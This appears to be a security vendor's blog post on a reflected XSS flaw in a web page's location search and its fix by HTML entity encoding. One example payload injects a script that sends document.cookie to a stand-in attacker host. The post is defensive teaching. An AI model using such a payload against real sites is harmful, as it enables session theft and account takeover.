Back to Blog
high SEVERITY4 min read

Location Search XSS in index.html: Unsanitized Query Rendering

A location search feature in index.html rendered user-supplied search queries directly into the DOM without HTML entity encoding, allowing attackers to inject malicious JavaScript. The fix adds output encoding that converts dangerous characters (`&`, `<`, `>`, `"`, `'`) to their HTML entity equivalents before the query string reaches the page.

O
By Orbis AppSec
•Published October 1, 2026•Reviewed October 1, 2026

Answer Summary

The location search functionality in index.html (line 282) accepts user input through the search field and passes it to `searchItem.query()` without validation. An attacker can inject JavaScript that executes in a victim's browser when search results display the unsanitized query term or matching location names. The fix applies HTML entity encoding to the location parameter before it is rendered, converting metacharacters to safe entity references. CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerability at a Glance

cweCWE-79 (Improper Neutralization of Input During Web Page Generation)
fixReplace metacharacters with HTML entity equivalents before passing to search function
riskArbitrary JavaScript execution in victim's browser context with access to session cookies, local storage, and DOM
languageJavaScript / HTML
root causeUser-supplied location search query inserted into DOM without HTML entity encoding
vulnerabilityCross-Site Scripting (XSS) - Reflected

Search Input Rendered Without Encoding: A Reflected XSS in Location Search

A high-severity cross-site scripting (XSS) vulnerability existed in the location search feature of index.html, where user-supplied search queries were rendered into the page's DOM without HTML entity encoding. By injecting metacharacters into the search field, an attacker could break out of the intended text context and execute arbitrary JavaScript in a victim's browser.

Affected N/A (first-party code)
Fixed in N/A (patch applied at line 282)
Ecosystem N/A
CVE / GHSA not assigned
CWE CWE-79 (Improper Neutralization of Input During Web Page Generation)

How the Vulnerability Worked

The location search functionality accepts user input through a search field and passes it directly to searchItem.query(). The critical issue was that if search results display the original query term (a common UX pattern to confirm what was searched), that term was inserted into the DOM without sanitization.

The vulnerable code path looked like this:

onCallback:function(){
    var location = $location.val();
    if(location){
        result = searchItem.query(location);
        // results rendered with location variable unsanitized

An attacker could enter a payload like:

"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script><span class="

When the search results page rendered "You searched for: "><script>…", the injected script would execute in the victim's browser, potentially stealing session cookies, redirecting to a phishing page, or modifying page content.

Why This Matters

Search functionality is often the entry point to an application—it's one of the first things users interact with. Because search queries are frequently echoed back in results pages ("Did you mean X?", "0 results for X"), they represent a natural XSS vector. A reflected XSS in search can be weaponized through a crafted URL shared in chat, email, or social media, making it trivial to deliver to a broad audience without any server-side compromise.

The Fix: HTML Entity Encoding

The fix applies proper output encoding by replacing dangerous characters with their HTML entity equivalents before the location variable is passed to searchItem.query():

onCallback:function(){
    var location = $location.val();
    if(location){
        location = location.replace(/[&<>"']/g,function(c){
            return {'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c];
        });
        result = searchItem.query(location);

This encoding layer ensures that even if an attacker submits metacharacters, they are rendered as visible text rather than interpreted as HTML or JavaScript:

  • < becomes &lt; (displayed as <, no tag interpretation)
  • > becomes &gt; (displayed as >, no tag interpretation)
  • & becomes &amp; (prevents entity-based bypasses)
  • " becomes &quot; (prevents breakout from HTML attributes)
  • ' becomes &#39; (prevents breakout from single-quoted attributes)

Now if the search results page renders "You searched for: &quot;&gt;&lt;script&gt;…", the browser displays those characters literally and no script executes.

Why This Specific Fix Works

The encoding is applied before the search query is processed, ensuring the sanitized value is what gets stored, passed to the backend search function, and ultimately displayed. This "sanitize at the source" approach is more robust than trying to encode output at multiple render points—a single encoding layer catches all downstream uses.

The character set (&<>"') covers both HTML tag/entity context and quoted-attribute context. Because the location variable could theoretically appear in multiple places on the results page (in text, in HTML attributes, in data attributes), encoding for the union of all contexts is the safest choice.

Key Takeaways

  • User input destined for the DOM must be encoded unless it has been strictly validated against a whitelist. A search query is inherently freeform text; encoding is the only reliable defense.

  • Echoing back user input is dangerous. If you display "You searched for: {query}", encode that query. The same applies to error messages, suggestions, and confirmation text.

  • The encoding must happen early in the data flow. Encode at the point where untrusted data enters your application logic, not later when rendering. This prevents accidental use of the raw value elsewhere.

  • Character-level encoding is more reliable than context-specific filters. A simple replace of five metacharacters is less error-prone than trying to parse syntax and block specific payloads like <script>.

How Orbis AppSec Detected This

Source: The location variable, populated from user input via the search field ($location.val())

Sink: The searchItem.query() function, which processes the location parameter; downstream rendering of search results may echo this value into the DOM

Missing control: No HTML entity encoding or validation of the location parameter before it is used in a context where special characters have meaning

CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation

Fix: Apply a character-level HTML entity encoding function to replace &, <, >, ", and ' with their entity equivalents before passing the location variable to searchItem.query()

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Reflected XSS vulnerabilities in search are among the easiest to exploit at scale because they live on high-traffic URLs and are trivial to weaponize through shared links. This fix—a simple character replacement—eliminates the attack surface entirely by ensuring user input is rendered as text, not as executable code or markup. For any application that displays user input back to users, output encoding is a foundational control that should be applied consistently across all such points.

Prevention and further reading

Frequently Asked Questions

What characters does the fix encode, and why are all of them necessary?

The fix encodes `&`, `<`, `>`, `"`, and `'`. The first three prevent HTML/XML injection, while the quotes prevent breakout from HTML attributes. In this context, all five are dangerous because the search query can appear both in text nodes (where `<>` matter) and in attribute values (where quotes matter).

If the location search only displays location names matched from a server-side database, how is this still exploitable?

If the search results page echoes back the user's original search query for UX purposes—like "You searched for: {query}"—an attacker can inject a payload that executes even though the matched locations themselves are safe. This pattern is extremely common in search UIs.

Does this fix alone prevent all XSS on the search results page, or are there other injection points?

This fix secures the query parameter specifically, but the matched location names themselves must also be HTML-encoded if they come from untrusted sources or user-generated data. The fix is necessary but not necessarily sufficient for the entire results page.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #87

Related Articles

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.

critical

addSourceInput() javascript: URL Injection in Source List Handler

The `addSourceInput()` function in the application's source list handler was assigning user-provided URLs directly to input elements without protocol validation, allowing `javascript:` URLs to persist and execute. A new `isSafeSourceUrl()` helper now restricts values to HTTP/HTTPS protocols or empty strings.

critical

getCheckboxString() HTML Injection via MIDI Metadata

The `getCheckboxString` helper built checkbox markup by interpolating MIDI instrument and program names directly into an HTML template string, which was then parsed with `DOMParser` and injected via `replaceChildren()`. A crafted MIDI file could smuggle an HTML/JS payload through its instrument metadata and have it rendered as live DOM, including inline event handlers. The fix adds a dedicated `escapeHtml()` function and routes both parameters through it before the markup is built.

high

[ValidateInput(false)] on SettingsController.Index Enables Stored XSS

The `Index` POST action of the Power BI module's `SettingsController` was decorated with `[ValidateInput(false)]`, switching off ASP.NET MVC's built-in request validation for every form field bound to `SettingsModel`. Raw `<script>` markup could therefore be persisted into module settings and later rendered back to other users. The fix removes the attribute, restoring framework-level rejection of markup-bearing input on that action while leaving its `[ValidateAntiForgeryToken]` and edit-level au

high

innerHTML Injection in postAlert(): Glitch.me Data Renders Unsanitized

The `postAlert()` function fetched alert data from a Glitch.me endpoint and injected it directly into the DOM using `innerHTML`, enabling arbitrary JavaScript execution if that external source was compromised. The fix replaces the HTML string concatenation with safe DOM API methods: `document.createTextNode()` for content and `addEventListener()` for event handlers, eliminating the injection vector entirely.

high

js-yaml 5.2.1 DoS: Exponential Parsing in Flow Collections

A denial-of-service vulnerability in js-yaml 5.2.1 allows an attacker to crash the parser by supplying deeply nested flow collections that trigger exponential parsing behavior. The fix in version 5.2.2 improves the parser's handling of these structures, preventing the algorithmic complexity attack. This is critical for any service accepting user-controlled YAML input.